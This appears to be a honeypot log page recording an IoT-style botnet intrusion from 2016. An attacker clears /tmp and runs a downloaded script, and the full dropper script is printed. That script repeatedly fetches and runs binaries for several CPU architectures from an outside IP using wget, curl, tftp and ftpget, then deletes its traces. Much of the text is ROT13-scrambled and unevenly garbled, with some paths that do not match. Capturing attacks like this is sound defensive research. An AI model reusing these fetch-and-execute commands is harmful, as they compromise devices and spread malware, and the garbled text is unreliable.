Dropping the bear

20160911-190008-931.log

Exec command: chmod 777 /tmp;cd /tmp;rm -f *;busybox wget uggc://62.113.238.138/.o/n.fu;sh n.fu;rm -f n.fu;wget uggc://62.113.238.138/.o/n.fu;sh n.fu

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

rm: cannot remove `.X11-unix': Is a directory
rm: cannot remove `.ICE-unix': Is a directory
bash: busybox: command not found
--2016-09-11 19:00:09--  uggc://62.113.238.138/.o/n.fu
Connecting to 62.113.238.138:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12167 (11K) [application/x-sh]
Saving to: `/gzc/nf.u

100%[======================================>] 12,167       321K/s/s  eta 0s

2016-09-11 19:00:09 (321 KB/s) - `/gzc/n.fu' saved [12167/12167]
						

Contents of /gzc/n.fu:

#!/ova/fu
cd /tmp
wget uggc://62.113.238.138/qebcorne_el -P /tmp ; chmod 777 /tmp/qebcorne_el ; /tmp/qebcorne_el
rm -f /tmp/*
wget uggc://62.113.238.138/qebcornes -P /tmp ; chmod 777 /tmp/qebcornes ; /tmp/qebcornes
rm -f /tmp/*
wget uggc://62.113.238.138/qebcornem -P /tmp ; chmod 777 /tmp/qebcornem ; /tmp/qebcornem
rm -f /tmp/*
wget uggc://62.113.238.138/qebcornepc -P /tmp ; chmod 777 /tmp/qebcornepc ; /tmp/qebcornepc
rm -f /tmp/*
wget uggc://62.113.238.138/qebcornesh -P /tmp ; chmod 777 /tmp/qebcornesh ; /tmp/qebcornesh
rm -f /tmp/*
wget uggc://62.113.238.138/qebcorne64 -P /tmp ; chmod 777 /tmp/qebcorne64 ; /tmp/qebcorne64
rm -f /tmp/*
wget uggc://62.113.238.138/qebcorne32 -P /tmp ; chmod 777 /tmp/qebcorne32 ; /tmp/qebcorne32
rm -f /tmp/*
curl -O  uggc://62.113.238.138/qebcorne_el ; chmod 777 /tmp/qebcorne_el ; /tmp/qebcorne_el
rm -f /tmp/*
curl -O  uggc://62.113.238.138/qebcornes ; chmod 777 /tmp/qebcornes ; /tmp/qebcornes
rm -f /tmp/*
curl -O  uggc://62.113.238.138/qebcornem ; chmod 777 /tmp/qebcornem ; /tmp/qebcornem
rm -f /tmp/*
curl -O  uggc://62.113.238.138/qebcornepc ; chmod 777 /tmp/qebcornepc ; /tmp/qebcornepc
rm -f /tmp/*
curl -O  uggc://62.113.238.138/qebcornesh ; chmod 777 /tmp/qebcornesh ; /tmp/qebcornesh
rm -f /tmp/*
curl -O  uggc://62.113.238.138/qebcorne64 ; chmod 777 /tmp/qebcorne64 ; /tmp/qebcorne64
rm -f /tmp/*
curl -O  uggc://62.113.238.138/qebcorne32 ; chmod 777 /tmp/qebcorne32 ; /tmp/qebcorne32
rm -f /tmp/*
busybox wget uggc://62.113.238.138/qebcorne_el -P /tmp ; chmod 777 /tmp/qebcorne_el ; /tmp/qebcorne_el
rm -f /tmp/*
busybox wget uggc://62.113.238.138/qebcornes -P /tmp ; chmod 777 /tmp/qebcornes ; /tmp/qebcornes
rm -f /tmp/*
busybox wget uggc://62.113.238.138/qebcornem -P /tmp ; chmod 777 /tmp/qebcornem ; /tmp/qebcornem
rm -f /tmp/*
busybox wget uggc://62.113.238.138/qebcornepc -P /tmp ; chmod 777 /tmp/qebcornepc ; /tmp/qebcornepc
rm -f /tmp/*
busybox wget uggc://62.113.238.138/qebcornesh -P /tmp ; chmod 777 /tmp/qebcornesh ; /tmp/qebcornesh
rm -f /tmp/*
busybox wget uggc://62.113.238.138/qebcorne64 -P /tmp ; chmod 777 /tmp/qebcorne64 ; /tmp/qebcorne64
rm -f /tmp/*
busybox wget uggc://62.113.238.138/qebcorne32 -P /tmp ; chmod 777 /tmp/qebcorne32 ; /tmp/qebcorne32
rm -f /tmp/*
busybox tftp -r qebcorne_el -g 62.113.238.138; chmod 777 /tmp/qebcorne_el ; /tmp/qebcorne_el
rm -f /tmp/*
busybox tftp -r qebcornes -g 62.113.238.138; chmod 777 /tmp/qebcornes ; /tmp/qebcornes
rm -f /tmp/*
busybox tftp -r qebcornem -g 62.113.238.138; chmod 777 /tmp/qebcornem ; /tmp/qebcornem
rm -f /tmp/*
busybox tftp -r qebcornepc -g 62.113.238.138; chmod 777 /tmp/qebcornepc ; /tmp/qebcornepc
rm -f /tmp/*
busybox tftp -r qebcornesh -g 62.113.238.138; chmod 777 /tmp/qebcornesh ; /tmp/qebcornesh
rm -f /tmp/*
busybox tftp -r qebcorne64 -g 62.113.238.138; chmod 777 /tmp/qebcorne64 ; /tmp/qebcorne64
rm -f /tmp/*
busybox tftp -r qebcorne32 -g 62.113.238.138; chmod 777 /tmp/qebcorne32 ; /tmp/qebcorne32
rm -f /tmp/*
busybox ftpget 62.113.238.138 qebcorne_el qebcorne_el ; chmod 777 /tmp/qebcorne_el ; /tmp/qebcorne_el
rm -f /tmp/*
busybox ftpget 62.113.238.138 qebcornes qebcornes ; chmod 777 /tmp/qebcornes ; /tmp/qebcornes
rm -f /tmp/*
busybox ftpget 62.113.238.138 qebcornem qebcornem ; chmod 777 /tmp/qebcornem ; /tmp/qebcornem
rm -f /tmp/*
busybox ftpget 62.113.238.138 qebcornepc qebcornepc ; chmod 777 /tmp/qebcornepc ; /tmp/qebcornepc
rm -f /tmp/*
busybox ftpget 62.113.238.138 qebcornesh qebcornesh ; chmod 777 /tmp/qebcornesh ; /tmp/qebcornesh
rm -f /tmp/*
busybox ftpget 62.113.238.138 qebcorne64 qebcorne64 ; chmod 777 /tmp/qebcorne64 ; /tmp/qebcorne64
rm -f /tmp/*
busybox ftpget 62.113.238.138 qebcorne32 qebcorne32 ; chmod 777 /tmp/qebcorne32 ; /tmp/qebcorne32
rm -f /tmp/*
cd /var/tmp
wget uggc://62.113.238.138/qebcorne_el -P /var/tmp ; chmod 777 /var/tmp/qebcorne_el ; /var/tmp/qebcorne_el
rm -f /var/tmp/*
wget uggc://62.113.238.138/qebcornes -P /var/tmp ; chmod 777 /var/tmp/qebcornes ; /var/tmp/qebcornes
rm -f /var/tmp/*
wget uggc://62.113.238.138/qebcornem -P /var/tmp ; chmod 777 /var/tmp/qebcornem ; /var/tmp/qebcornem
rm -f /var/tmp/*
wget uggc://62.113.238.138/qebcornepc -P /var/tmp ; chmod 777 /var/tmp/qebcornepc ; /var/tmp/qebcornepc
rm -f /var/tmp/*
wget uggc://62.113.238.138/qebcornesh -P /var/tmp ; chmod 777 /var/tmp/qebcornesh ; /var/tmp/qebcornesh
rm -f /var/tmp/*
wget uggc://62.113.238.138/qebcorne64 -P /var/tmp ; chmod 777 /var/tmp/qebcorne64 ; /var/tmp/qebcorne64
rm -f /var/tmp/*
wget uggc://62.113.238.138/qebcorne32 -P /var/tmp ; chmod 777 /var/tmp/qebcorne32 ; /var/tmp/qebcorne32
rm -f /var/tmp/*
curl -O  uggc://62.113.238.138/qebcorne_el ; chmod 777 /var/tmp/qebcorne_el ; /var/tmp/qebcorne_el
rm -f /var/tmp/*
curl -O  uggc://62.113.238.138/qebcornes ; chmod 777 /var/tmp/qebcornes ; /var/tmp/qebcornes
rm -f /var/tmp/*
curl -O  uggc://62.113.238.138/qebcornem ; chmod 777 /var/tmp/qebcornem ; /var/tmp/qebcornem
rm -f /var/tmp/*
curl -O  uggc://62.113.238.138/qebcornepc ; chmod 777 /var/tmp/qebcornepc ; /var/tmp/qebcornepc
rm -f /var/tmp/*
curl -O  uggc://62.113.238.138/qebcornesh ; chmod 777 /var/tmp/qebcornesh ; /var/tmp/qebcornesh
rm -f /var/tmp/*
curl -O  uggc://62.113.238.138/qebcorne64 ; chmod 777 /var/tmp/qebcorne64 ; /var/tmp/qebcorne64
rm -f /var/tmp/*
curl -O  uggc://62.113.238.138/qebcorne32 ; chmod 777 /var/tmp/qebcorne32 ; /var/tmp/qebcorne32
rm -f /var/tmp/*
busybox wget uggc://62.113.238.138/qebcorne_el -P /var/tmp ; chmod 777 /var/tmp/qebcorne_el ; /var/tmp/qebcorne_el
rm -f /var/tmp/*
busybox wget uggc://62.113.238.138/qebcornes -P /var/tmp ; chmod 777 /var/tmp/qebcornes ; /var/tmp/qebcornes
rm -f /var/tmp/*
busybox wget uggc://62.113.238.138/qebcornem -P /var/tmp ; chmod 777 /var/tmp/qebcornem ; /var/tmp/qebcornem
rm -f /var/tmp/*
busybox wget uggc://62.113.238.138/qebcornepc -P /var/tmp ; chmod 777 /var/tmp/qebcornepc ; /var/tmp/qebcornepc
rm -f /var/tmp/*
busybox wget uggc://62.113.238.138/qebcornesh -P /var/tmp ; chmod 777 /var/tmp/qebcornesh ; /var/tmp/qebcornesh
rm -f /var/tmp/*
busybox wget uggc://62.113.238.138/qebcorne64 -P /var/tmp ; chmod 777 /var/tmp/qebcorne64 ; /var/tmp/qebcorne64
rm -f /var/tmp/*
busybox wget uggc://62.113.238.138/qebcorne32 -P /var/tmp ; chmod 777 /var/tmp/qebcorne32 ; /var/tmp/qebcorne32
rm -f /var/tmp/*
busybox tftp -r qebcorne_el -g 62.113.238.138; chmod 777 /var/tmp/qebcorne_el ; /var/tmp/qebcorne_el
rm -f /var/tmp/*
busybox tftp -r qebcornes -g 62.113.238.138; chmod 777 /var/tmp/qebcornes ; /var/tmp/qebcornes
rm -f /var/tmp/*
busybox tftp -r qebcornem -g 62.113.238.138; chmod 777 /var/tmp/qebcornem ; /var/tmp/qebcornem
rm -f /var/tmp/*
busybox tftp -r qebcornepc -g 62.113.238.138; chmod 777 /var/tmp/qebcornepc ; /var/tmp/qebcornepc
rm -f /var/tmp/*
busybox tftp -r qebcornesh -g 62.113.238.138; chmod 777 /var/tmp/qebcornesh ; /var/tmp/qebcornesh
rm -f /var/tmp/*
busybox tftp -r qebcorne64 -g 62.113.238.138; chmod 777 /var/tmp/qebcorne64 ; /var/tmp/qebcorne64
rm -f /var/tmp/*
busybox tftp -r qebcorne32 -g 62.113.238.138; chmod 777 /var/tmp/qebcorne32 ; /var/tmp/qebcorne32
rm -f /var/tmp/*
busybox ftpget 62.113.238.138 qebcorne_el qebcorne_el ; chmod 777 /var/tmp/qebcorne_el ; /var/tmp/qebcorne_el
rm -f /var/tmp/*
busybox ftpget 62.113.238.138 qebcornes qebcornes ; chmod 777 /var/tmp/qebcornes ; /var/tmp/qebcornes
rm -f /var/tmp/*
busybox ftpget 62.113.238.138 qebcornem qebcornem ; chmod 777 /var/tmp/qebcornem ; /var/tmp/qebcornem
rm -f /var/tmp/*
busybox ftpget 62.113.238.138 qebcornepc qebcornepc ; chmod 777 /var/tmp/qebcornepc ; /var/tmp/qebcornepc
rm -f /var/tmp/*
busybox ftpget 62.113.238.138 qebcornesh qebcornesh ; chmod 777 /var/tmp/qebcornesh ; /var/tmp/qebcornesh
rm -f /var/tmp/*
busybox ftpget 62.113.238.138 qebcorne64 qebcorne64 ; chmod 777 /var/tmp/qebcorne64 ; /var/tmp/qebcorne64
rm -f /var/tmp/*
busybox ftpget 62.113.238.138 qebcorne32 qebcorne32 ; chmod 777 /var/tmp/qebcorne32 ; /var/tmp/qebcorne32
rm -f /var/tmp/*
cd /var/run
wget uggc://62.113.238.138/qebcorne_el -P /var/run ; chmod 777 /var/run/qebcorne_el ; /var/run/qebcorne_el
rm -f /var/run/*
wget uggc://62.113.238.138/qebcornes -P /var/run ; chmod 777 /var/run/qebcornes ; /var/run/qebcornes
rm -f /var/run/*
wget uggc://62.113.238.138/qebcornem -P /var/run ; chmod 777 /var/run/qebcornem ; /var/run/qebcornem
rm -f /var/run/*
wget uggc://62.113.238.138/qebcornepc -P /var/run ; chmod 777 /var/run/qebcornepc ; /var/run/qebcornepc
rm -f /var/run/*
wget uggc://62.113.238.138/qebcornesh -P /var/run ; chmod 777 /var/run/qebcornesh ; /var/run/qebcornesh
rm -f /var/run/*
wget uggc://62.113.238.138/qebcorne64 -P /var/run ; chmod 777 /var/run/qebcorne64 ; /var/run/qebcorne64
rm -f /var/run/*
wget uggc://62.113.238.138/qebcorne32 -P /var/run ; chmod 777 /var/run/qebcorne32 ; /var/run/qebcorne32
rm -f /var/run/*
curl -O  uggc://62.113.238.138/qebcorne_el ; chmod 777 /var/run/qebcorne_el ; /var/run/qebcorne_el
rm -f /var/run/*
curl -O  uggc://62.113.238.138/qebcornes ; chmod 777 /var/run/qebcornes ; /var/run/qebcornes
rm -f /var/run/*
curl -O  uggc://62.113.238.138/qebcornem ; chmod 777 /var/run/qebcornem ; /var/run/qebcornem
rm -f /var/run/*
curl -O  uggc://62.113.238.138/qebcornepc ; chmod 777 /var/run/qebcornepc ; /var/run/qebcornepc
rm -f /var/run/*
curl -O  uggc://62.113.238.138/qebcornesh ; chmod 777 /var/run/qebcornesh ; /var/run/qebcornesh
rm -f /var/run/*
curl -O  uggc://62.113.238.138/qebcorne64 ; chmod 777 /var/run/qebcorne64 ; /var/run/qebcorne64
rm -f /var/run/*
curl -O  uggc://62.113.238.138/qebcorne32 ; chmod 777 /var/run/qebcorne32 ; /var/run/qebcorne32
rm -f /var/run/*
busybox wget uggc://62.113.238.138/qebcorne_el -P /var/run ; chmod 777 /var/run/qebcorne_el ; /var/run/qebcorne_el
rm -f /var/run/*
busybox wget uggc://62.113.238.138/qebcornes -P /var/run ; chmod 777 /var/run/qebcornes ; /var/run/qebcornes
rm -f /var/run/*
busybox wget uggc://62.113.238.138/qebcornem -P /var/run ; chmod 777 /var/run/qebcornem ; /var/run/qebcornem
rm -f /var/run/*
busybox wget uggc://62.113.238.138/qebcornepc -P /var/run ; chmod 777 /var/run/qebcornepc ; /var/run/qebcornepc
rm -f /var/run/*
busybox wget uggc://62.113.238.138/qebcornesh -P /var/run ; chmod 777 /var/run/qebcornesh ; /var/run/qebcornesh
rm -f /var/run/*
busybox wget uggc://62.113.238.138/qebcorne64 -P /var/run ; chmod 777 /var/run/qebcorne64 ; /var/run/qebcorne64
rm -f /var/run/*
busybox wget uggc://62.113.238.138/qebcorne32 -P /var/run ; chmod 777 /var/run/qebcorne32 ; /var/run/qebcorne32
rm -f /var/run/*
busybox tftp -r qebcorne_el -g 62.113.238.138; chmod 777 /var/run/qebcorne_el ; /var/run/qebcorne_el
rm -f /var/run/*
busybox tftp -r qebcornes -g 62.113.238.138; chmod 777 /var/run/qebcornes ; /var/run/qebcornes
rm -f /var/run/*
busybox tftp -r qebcornem -g 62.113.238.138; chmod 777 /var/run/qebcornem ; /var/run/qebcornem
rm -f /var/run/*
busybox tftp -r qebcornepc -g 62.113.238.138; chmod 777 /var/run/qebcornepc ; /var/run/qebcornepc
rm -f /var/run/*
busybox tftp -r qebcornesh -g 62.113.238.138; chmod 777 /var/run/qebcornesh ; /var/run/qebcornesh
rm -f /var/run/*
busybox tftp -r qebcorne64 -g 62.113.238.138; chmod 777 /var/run/qebcorne64 ; /var/run/qebcorne64
rm -f /var/run/*
busybox tftp -r qebcorne32 -g 62.113.238.138; chmod 777 /var/run/qebcorne32 ; /var/run/qebcorne32
rm -f /var/run/*
busybox ftpget 62.113.238.138 qebcorne_el qebcorne_el ; chmod 777 /var/run/qebcorne_el ; /var/run/qebcorne_el
rm -f /var/run/*
busybox ftpget 62.113.238.138 qebcornes qebcornes ; chmod 777 /var/run/qebcornes ; /var/run/qebcornes
rm -f /var/run/*
busybox ftpget 62.113.238.138 qebcornem qebcornem ; chmod 777 /var/run/qebcornem ; /var/run/qebcornem
rm -f /var/run/*
busybox ftpget 62.113.238.138 qebcornepc qebcornepc ; chmod 777 /var/run/qebcornepc ; /var/run/qebcornepc
rm -f /var/run/*
busybox ftpget 62.113.238.138 qebcornesh qebcornesh ; chmod 777 /var/run/qebcornesh ; /var/run/qebcornesh
rm -f /var/run/*
busybox ftpget 62.113.238.138 qebcorne64 qebcorne64 ; chmod 777 /var/run/qebcorne64 ; /var/run/qebcorne64
rm -f /var/run/*
busybox ftpget 62.113.238.138 qebcorne32 qebcorne32 ; chmod 777 /var/run/qebcorne32 ; /var/run/qebcorne32
rm -f /var/run/*


sleep 3;
rm -fr /tmp/a.sh			

Toggle Menu